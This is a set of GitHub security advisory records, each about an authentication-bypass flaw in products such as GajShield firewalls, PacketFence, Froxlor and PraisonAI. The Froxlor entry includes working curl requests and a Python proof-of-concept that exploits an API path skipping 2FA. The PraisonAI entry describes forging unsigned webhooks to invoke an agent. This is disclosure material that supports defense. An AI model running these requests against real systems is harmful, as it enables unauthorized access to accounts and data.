{
  "affected": [],
  "aliases": [
    "CVE-2023-1778"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-27T10:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "This vulnerability exists in GajShield Data Security Firewall firmware versions prior to v4.28 (except v4.21) due to insecure default credentials which allows remote attacker to login as superuser by using default username/password via web-based management interface and/or exposed SSH port thereby enabling remote attackers to execute arbitrary commands with administrative/superuser privileges on the targeted systems.\n\nThe vulnerability has been addressed by forcing the user to change their default password to a new non-default password.\n",
  "id": "GHSA-f9gp-vxr4-29wq",
  "modified": "2024-04-04T03:42:42Z",
  "published": "2023-04-27T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1778"
    },
    {
      "type": "WEB",
      "url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01\u0026VLCODE=CIVN-2023-0119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-3912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-18T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "Bypassing password security vulnerability in McAfee Application and Change Control (MACC) 7.0.1 and 6.2.0 allows authenticated users to perform arbitrary command execution via a command-line utility.",
  "id": "GHSA-f9jm-979c-8px2",
  "modified": "2022-05-13T01:36:41Z",
  "published": "2022-05-13T01:36:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3912"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10224"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/102988"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-9045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-02-04T18:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The FTP backend in user_external in ownCloud Server before 5.0.18 and 6.x before 6.0.6 allows remote attackers to bypass intended authentication requirements via a crafted password.",
  "id": "GHSA-f9m9-635m-g7gh",
  "modified": "2022-05-17T04:16:30Z",
  "published": "2022-05-17T04:16:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9045"
    },
    {
      "type": "WEB",
      "url": "https://owncloud.org/security/advisory/?id=oc-sa-2014-022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2011-4068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-01T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "The check_password function in html/admin/login.php in PacketFence before 3.0.2 allows remote attackers to bypass authentication via an empty password.",
  "id": "GHSA-f9q6-6w4m-g923",
  "modified": "2022-05-14T03:44:10Z",
  "published": "2022-05-14T03:44:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4068"
    },
    {
      "type": "WEB",
      "url": "https://packetfence.org/bugs/changelog_page.php?version_id=35"
    },
    {
      "type": "WEB",
      "url": "https://packetfence.org/bugs/view.php?id=1293"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-37736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-15T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A remote authentication bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): ClearPass Policy Manager 6.10.x prior to 6.10.2 - - ClearPass Policy Manager 6.9.x prior to 6.9.7-HF1 - - ClearPass Policy Manager 6.8.x prior to 6.8.9-HF1. Aruba has released patches for ClearPass Policy Manager that address this security vulnerability.",
  "id": "GHSA-f9qm-247w-v472",
  "modified": "2022-07-13T00:01:34Z",
  "published": "2022-05-24T19:17:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37736"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-018.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:41:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFroxlor\u0027s API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret \u2014 no TOTP challenge is issued, checked, or required.\n\nAn attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.\n\n## Affected Code\n\n**Web UI \u2014 2FA enforced** (`index.php:82-149`):\n\n```php\nif ($result[\u0027type_2fa\u0027] != 0) {\n    // Redirects to 2FA input page\n    // Calls FroxlorTwoFactorAuth::verifyCode()\n    // Login is NOT completed without valid TOTP code\n}\n```\n\n**API \u2014 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`):\n\n```php\nprivate static function validateAuth(string $key, string $secret): bool\n{\n    $sel_stmt = Database::prepare(\"\n        SELECT ak.*, a.api_allowed as admin_api_allowed,\n               c.api_allowed as cust_api_allowed, c.deactivated\n        FROM `api_keys` ak\n        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid\n        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid\n        WHERE `apikey` = :ak AND `secret` = :as\n    \");\n    $result = Database::pexecute_first($sel_stmt, [\u0027ak\u0027 =\u003e $key, \u0027as\u0027 =\u003e $secret]);\n    if ($result) {\n        if ($result[\u0027apikey\u0027] == $key \u0026\u0026 $result[\u0027secret\u0027] == $secret\n            \u0026\u0026 ($result[\u0027valid_until\u0027] == -1 || $result[\u0027valid_until\u0027] \u003e= time())\n            \u0026\u0026 (($result[\u0027customerid\u0027] == 0 \u0026\u0026 $result[\u0027admin_api_allowed\u0027] == 1)\n                || ($result[\u0027customerid\u0027] \u003e 0 \u0026\u0026 $result[\u0027cust_api_allowed\u0027] == 1\n                    \u0026\u0026 $result[\u0027deactivated\u0027] == 0))) {\n            // Checks: key match, secret match, not expired, API allowed, not deactivated\n            // Missing: ANY check for type_2fa, TOTP verification, or 2FA status\n            return true;\n        }\n    }\n    throw new Exception(\u0027Invalid authorization credentials\u0027, 403);\n}\n```\n\nThere are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory:\n\n```bash\n$ grep -rn \u00272fa\\|totp\\|two.factor\\|FroxlorTwoFactor\u0027 lib/Froxlor/Api/\n# (no output)\n```\n\n## PoC\n\n### Environment\n\n- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- API enabled (`api.enabled=1`)\n- Admin account has 2FA enabled (`type_2fa=1`, TOTP configured)\n- Admin has an API key\n\n### Step 1: Confirm 2FA blocks web UI login\n\n```\nPOST /index.php HTTP/1.1\nHost: panel.example.com\nContent-Type: application/x-www-form-urlencoded\n\nloginname=admin\u0026password=Admin123!@#\u0026csrf_token=TOKEN\u0026send=send\n```\n\n**Result:** Redirect to `index.php?showmessage=4` \u2014 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.\n\n### Step 2: Authenticate via API \u2014 no TOTP required\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"command\":\"Customers.listing\",\"params\":{}}\u0027 \\\n  https://panel.example.com/api.php\n```\n\n**Result:** HTTP 200 with full customer listing:\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"loginname\": \"testcust\",\n        \"email\": \"test@froxlor.lab\",\n        \"name\": \"Test\",\n        \"firstname\": \"Customer\"\n      }\n    ]\n  }\n}\n```\n\nNo TOTP code was provided. No 2FA prompt was returned. Full access granted.\n\n### Step 3: Access additional sensitive resources\n\nAll of these succeed without any 2FA challenge:\n\n```bash\n# Domains\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Domains.listing\"}\u0027 .../api.php\n# FTP accounts (home directories, credentials)\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Ftps.listing\"}\u0027 .../api.php\n# Email accounts\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Emails.listing\"}\u0027 .../api.php\n# MySQL databases\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Mysqls.listing\"}\u0027 .../api.php\n# SSL certificates (private keys)\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Certificates.listing\"}\u0027 .../api.php\n# DNS records\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"DomainZones.listing\",\"params\":{\"domainname\":\"example.com\"}}\u0027 .../api.php\n```\n\n165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.).\n\n### Automated PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Froxlor \u003c= 2.3.x \u2014 2FA Bypass via API (CWE-287)\"\"\"\nimport json, sys, requests, urllib3\nurllib3.disable_warnings()\n\ntarget, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]\n\nr = requests.post(f\"{target}/api.php\", auth=(key, secret),\n    json={\"command\": \"Customers.listing\", \"params\": {}}, verify=False)\ndata = r.json()\n\nprint(f\"HTTP {r.status_code}\")\nif \"data\" in data:\n    for c in data[\"data\"].get(\"list\", []):\n        print(f\"  {c[\u0027loginname\u0027]} | {c[\u0027email\u0027]}\")\n    print(f\"\\n2FA-protected account accessed without TOTP. {len(data[\u0027data\u0027].get(\u0027list\u0027,[]))} customers exposed.\")\n```\n\nUsage: `python3 poc.py https://panel.example.com API_KEY API_SECRET`\n\n## Impact\n\nWhen a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:\n\n- **Customer data**: PII (name, email, address) readable and modifiable\n- **Domains**: Full control over domains, subdomains, DNS records\n- **Email accounts**: Create, read, delete email accounts and forwarders\n- **FTP accounts**: Access home directory paths and credentials\n- **MySQL databases**: Full database management\n- **SSL certificates**: Read private keys, modify certificate bindings\n- **165 API functions**: Including all write operations\n\nAPI keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.\n\n### Comparison with CVE-2023-3173\n\nCVE-2023-3173 (\"2FA Bypass by Brute Force\") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different \u2014 the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.\n\n## Suggested Fix\n\nAdd 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter:\n\n```php\n// lib/Froxlor/Api/FroxlorRPC.php, after line 100:\n// Check 2FA if enabled for this user\nif (!empty($result[\u0027adminid\u0027])) {\n    $user = Database::pexecute_first(\n        Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id\"),\n        [\u0027id\u0027 =\u003e $result[\u0027adminid\u0027]]\n    );\n} else {\n    $user = Database::pexecute_first(\n        Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id\"),\n        [\u0027id\u0027 =\u003e $result[\u0027customerid\u0027]]\n    );\n}\nif ($user \u0026\u0026 $user[\u0027type_2fa\u0027] != 0) {\n    // Require X-2FA-Code header or \u0027totp_code\u0027 in request body\n    $totp_code = $_SERVER[\u0027HTTP_X_2FA_CODE\u0027] ?? null;\n    if (empty($totp_code)) {\n        throw new Exception(\u00272FA code required\u0027, 401);\n    }\n    $tfa = new FroxlorTwoFactorAuth($user[\u0027data_2fa\u0027]);\n    if (!$tfa-\u003everifyCode($totp_code)) {\n        throw new Exception(\u0027Invalid 2FA code\u0027, 403);\n    }\n}\n```\n\nAlternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.",
  "id": "GHSA-f9rx-7wf7-jr36",
  "modified": "2026-06-09T13:07:18Z",
  "published": "2026-06-03T21:41:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-f9rx-7wf7-jr36"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-34qg-65m4-f23m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor\u0027s API Authentication bypasses 2FA Authentication"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-30668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-08T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "This issue was addressed with improved checks. This issue is fixed in macOS Big Sur 11.4. A person with physical access to a Mac may be able to bypass Login Window during a software update.",
  "id": "GHSA-f9wq-3588-gpmc",
  "modified": "2022-05-24T19:13:28Z",
  "published": "2022-05-24T19:13:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30668"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212529"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-25424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-11T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper authentication vulnerability in Tizen bluetooth-frwk prior to Firmware update JUN-2021 Release allows bluetooth attacker to take over the user\u0027s bluetooth device without user awareness.",
  "id": "GHSA-f9wq-7pg8-8r2r",
  "modified": "2022-05-24T19:05:06Z",
  "published": "2022-05-24T19:05:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25424"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2021\u0026month=6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-21955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-09T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "An authentication bypass vulnerability exists in the get_aes_key_info_by_packetid() function of the home_security binary of Anker Eufy Homebase 2 2.1.6.9h. Generic network sniffing can lead to password recovery. An attacker can sniff network traffic to trigger this vulnerability.",
  "id": "GHSA-f9ww-7rv4-vqfq",
  "modified": "2022-04-20T00:02:07Z",
  "published": "2021-12-10T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21955"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1382"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.56"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:52:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# PraisonAI LinearBot processes unsigned webhooks when `LINEAR_WEBHOOK_SECRET` is missing\n\n## Summary\n\nPraisonAI\u0027s LinearBot starts a public webhook listener on `0.0.0.0` and treats\n`LINEAR_WEBHOOK_SECRET` as optional. When the secret is absent, startup only logs\na warning and `_handle_webhook()` skips `Linear-Signature` verification entirely.\n\nAn unauthenticated network caller who can reach the webhook endpoint can submit\na forged `Linear-Event: AgentSession` request. The forged request is parsed,\nscheduled for background processing, dispatched to `_handle_agent_session()`,\nand passed into `BotSessionManager.chat()`. The bot then attempts to post the\nagent response back to Linear under the configured bot token.\n\nThe local PoV is offline and deterministic. It does not contact Linear. It calls\nthe webhook handler directly, monkey-patches the outbound Linear comment path,\nand proves both sides of the boundary:\n\n- no secret configured: unsigned forged webhook returns `200`, invokes the\n  agent session path once, and attempts one Linear comment;\n- secret configured: missing and bad signatures both return `401` and do not\n  invoke the agent;\n- secret configured with valid HMAC: request returns `200` and invokes the\n  agent, proving the control path still works.\n\n## Affected Product\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `praisonai`\n- Components:\n  - `src/praisonai/praisonai/bots/linear.py`\n  - `src/praisonai/praisonai/cli/features/bots_cli.py`\n\nValidated affected:\n\n- live `main` / latest observed release `v4.6.58`:\n  `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n- previous local current checkout:\n  `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- `v4.6.57`\n- `v4.6.56`\n- `v4.5.50`\n\nSampled tags where the LinearBot component was not present:\n\n- `v4.5.49`\n- `v4.5.51`\n- `v4.6.9`\n- `v4.6.10`\n\nSuggested affected range: LinearBot-bearing releases with the fail-open\nsignature behavior, at least `4.5.50` and `\u003e= 4.6.56, \u003c= 4.6.58`. The\ncomponent appears non-contiguously in sampled tags, so maintainers should\nconfirm the exact packaged version history before publishing a final range.\n\n## Root Cause\n\n`LinearBot.__init__()` accepts an empty signing secret and falls back to an\nempty environment value:\n\n```python\nself._signing_secret = signing_secret or os.environ.get(\"LINEAR_WEBHOOK_SECRET\", \"\")\n```\n\n`start()` treats the missing secret as a warning instead of refusing to expose\nthe webhook listener:\n\n```python\nif not self._signing_secret:\n    logger.warning(\"LINEAR_WEBHOOK_SECRET not set - webhook signatures will not be verified\")\n\nself._site = web.TCPSite(self._runner, \"0.0.0.0\", self._webhook_port)\n```\n\n`_handle_webhook()` only verifies the request if the secret is truthy:\n\n```python\nif self._signing_secret:\n    signature = request.headers.get(\"Linear-Signature\", \"\")\n    if not self._verify_signature(raw_body, signature):\n        return web.Response(status=401, text=\"Invalid signature\")\n```\n\nWith no secret configured, the code continues to JSON parsing, accepts a caller\nsupplied `webhookTimestamp`, reads the caller supplied `Linear-Event` header,\nand schedules processing:\n\n```python\nevent_type = request.headers.get(\"Linear-Event\", \"\")\ntask = asyncio.create_task(self._process_webhook(event_type, body))\nreturn web.Response(status=200, text=\"OK\")\n```\n\nFor `AgentSession`, the forged body is routed to the agent:\n\n```python\nif event_type == \"AgentSession\":\n    await self._handle_agent_session(body)\n...\nresponse = await self._session_mgr.chat(self._agent, user_id, message.content)\nawait self._send_comment(...)\n```\n\nThe CLI has the same fail-open posture: `start_linear()` loads\n`LINEAR_WEBHOOK_SECRET`, prints a warning when it is missing, then reports a\npublic `http://0.0.0.0:\u003cport\u003e/webhook` endpoint with verification disabled.\n\n## Why This Is Not Intended Behavior\n\nPraisonAI\u0027s Linear Bot documentation tells operators to set\n`LINEAR_WEBHOOK_SECRET`, pass it to `praisonai bot linear`, copy the Linear\nwebhook signing secret, and use it for HMAC-SHA256 verification. The same page\nsays missing secrets disable signature verification, while its best-practices\nsection says webhook secrets ensure authenticity.\n\nLinear\u0027s webhook documentation says receivers should ensure requests were sent\nby Linear by verifying the `Linear-Signature` HMAC over the raw body, then\nchecking that `webhookTimestamp` is recent. The timestamp check alone is not an\nauthentication boundary because an attacker can supply a current timestamp in a\nforged body.\n\nThe implementation itself also confirms the intended boundary: when a secret is\nconfigured, missing and bad signatures are rejected before agent dispatch. The\nbug is the missing-secret fail-open mode on a public webhook server, not the\nsignature algorithm.\n\n## Local PoV\n\nRun against the latest observed release checkout:\n\n```bash\npython3 submission-bundle/praisonai-prai-cand-013-linear-webhook-signature-fail-open/poc/pov_prai_cand_013_linear_webhook_signature_fail_open.py --repo artifacts/repos/praisonai-v4.6.58\n```\n\nExpected output includes:\n\n```json\n{\n  \"candidate\": \"PRAI-CAND-013\",\n  \"ok\": true,\n  \"cases\": {\n    \"no_secret_unsigned_forged_webhook\": {\n      \"http_status\": 200,\n      \"signing_secret_configured\": false,\n      \"session_calls\": [\n        {\n          \"user_id\": \"linear-system\",\n          \"content\": \"Issue: Forged Linear AgentSession event\\n\\nPRAI-CAND-013 local forged webhook payload\"\n        }\n      ],\n      \"sent_comments\": [\n        {\n          \"issue_id\": \"issue-prai-cand-013\",\n          \"comment\": \"agent response\",\n          \"session_id\": \"prai-cand-013-session\"\n        }\n      ]\n    },\n    \"secret_missing_signature_control\": {\n      \"http_status\": 401,\n      \"session_calls\": []\n    },\n    \"secret_bad_signature_control\": {\n      \"http_status\": 401,\n      \"session_calls\": []\n    },\n    \"secret_valid_signature_control\": {\n      \"http_status\": 200,\n      \"session_calls\": [\n        {\n          \"user_id\": \"linear-system\"\n        }\n      ]\n    }\n  }\n}\n```\n\nStored evidence:\n\n- `evidence/pov-v4.6.58.json`\n- `evidence/pov-live-main-v4.6.58.json`\n- `evidence/pov-current-head.json`\n- `evidence/version-sweep.tsv`\n\n## Impact\n\nIf a PraisonAI operator starts LinearBot with a Linear token but omits\n`LINEAR_WEBHOOK_SECRET`, any network caller that can reach the webhook endpoint\ncan spoof Linear webhook events and invoke the configured agent through the\nLinear integration.\n\nFor the `AgentSession` event path, this lets the attacker supply issue title and\ndescription content that becomes the agent input. Depending on the configured\nagent and tools, this can cause unauthorized LLM/tool execution, consume paid\nmodel quota, create or update Linear comments under the bot identity, and drive\nthe bot into workflows intended only for authenticated Linear events.\n\nThis report does not claim arbitrary code execution by default. The concrete\nboundary crossed is unauthenticated remote agent invocation through a forged\nLinear webhook.\n\n## Suggested Fix\n\nFail closed for public webhook listeners:\n\n1. Refuse to start LinearBot when `LINEAR_WEBHOOK_SECRET` is missing, unless an\n   explicit development-only option such as\n   `--insecure-skip-webhook-signature-verification` is provided.\n2. In `_handle_webhook()`, reject requests when no signing secret is configured\n   instead of silently skipping verification.\n3. Preserve raw-body HMAC verification and constant-time comparison for the\n   configured-secret path.\n4. Treat timestamp freshness as replay protection after signature validation,\n   not as a replacement for authentication.\n5. Prefer loopback binding by default, or require an explicit host flag for\n   public binding.\n6. Add regression tests:\n   - no signing secret rejects startup or rejects webhook requests;\n   - missing signature with a configured secret returns `401`;\n   - invalid signature with a configured secret returns `401`;\n   - valid HMAC with a configured secret returns success;\n   - stale timestamp after valid HMAC returns `401`;\n   - the CLI does not advertise a public unauthenticated webhook by default.",
  "id": "GHSA-fc26-m9pf-v56q",
  "modified": "2026-07-20T21:23:38Z",
  "published": "2026-06-18T13:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing"
}